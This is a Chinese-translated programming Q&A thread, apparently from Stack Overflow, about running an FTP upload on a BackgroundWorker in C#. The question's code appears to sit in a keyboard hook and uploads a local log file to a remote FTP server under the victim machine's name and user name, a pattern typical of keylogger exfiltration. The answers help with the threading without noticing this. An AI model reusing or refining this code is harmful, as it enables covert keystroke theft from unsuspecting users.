我无法弄清楚如何线程化我的FTP上传脚本。我试图让它从C#控制台应用程序上传。我不喜欢它在上传时冻结应用程序的事实。我听说过使用"背景工作者"但我完全不知道如何设置它......我已经找了一段时间。能给我举个例子?感谢。
if ((Keys)vkCode == Keys.Enter)
{
//~~~ Enter Key pressed ~~~ //
string ftpsrc = Application.StartupPath + @"/logs/log.txt";
FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt");
request2.Method = WebRequestMethods.Ftp.UploadFile;
request2.Credentials = new NetworkCredential("username", "password");
StreamReader sourceStream2 = new StreamReader(ftpsrc);
byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd());
sourceStream2.Close();
request2.ContentLength = fileContents2.Length;
Stream requestStream2 = request2.GetRequestStream();
requestStream2.Write(fileContents2, 0, fileContents2.Length);
requestStream2.Close();
FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse();
response2.Close();
//~~~ End Enter Key ~~~//
}
答案 0 :(得分:3)
这样做的一个非常简单的方法是使用像BackgroundWorker
这样的东西,它可以让你访问诸如进度事件以及控制执行之类的东西。此方法允许您使UI线程完全独立于FTP上载的逻辑。这意味着无论上传时间过长,您的UI都会响应。
现在多线程实际上传是另一回事。如果这就是你所需要的,它将需要将消息分成相同的部分,并在FTP端重新组装部件,但这也意味着编写自定义的ftp服务器。
在这里查看有关BackgroundWorker是什么以及如何使用它的完整说明: http://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx
EDIT ::
好的,回答有关如何设置backgroundworker在enter键上执行的评论中的问题。看看上面的文档,了解一般如何使用backgroundworker的要点。
您可能希望使用您设置的后台工作程序的RunWorkerAsync()
方法更改当前的密钥挂钩。 BackgroundWorker的DoWork
方法应该是您当前在密钥钩中的方法。
BG.DoWork += YourUploadFunction();
if ((Keys)vkCode == Keys.Enter)
{
//~~~ Enter Key pressed ~~~ //
BG.RunWorkerAsync();
}
初始化BackgroundWorker
执行此操作:
BackgroundWorker BG = new BackgroundWorker();
BG.DoWork += new DoWorkEventHandler(BG_DoWork);
DoWorkEventHandler
允许新的处理程序控制BG将执行的功能。这方面的一个例子是:
private void BG_DoWork(object sender, DoWorkEventArgs e)
{
YourUploadFunctions();
}
但是,您只需要对BackgroundWorker
进行一次初始化,这样就不会有多个实例。此外,一旦设置了DoWork事件,就不需要再次执行。
`
答案 1 :(得分:0)
BackgroundWorkers对此非常有用,另一个选项是Task类。你可以在这里阅读Task Class 。有一个如何在页面上实现它的例子。另外,根据您编写的.net框架的版本,您还可以查看此处显示的Async和Await async await。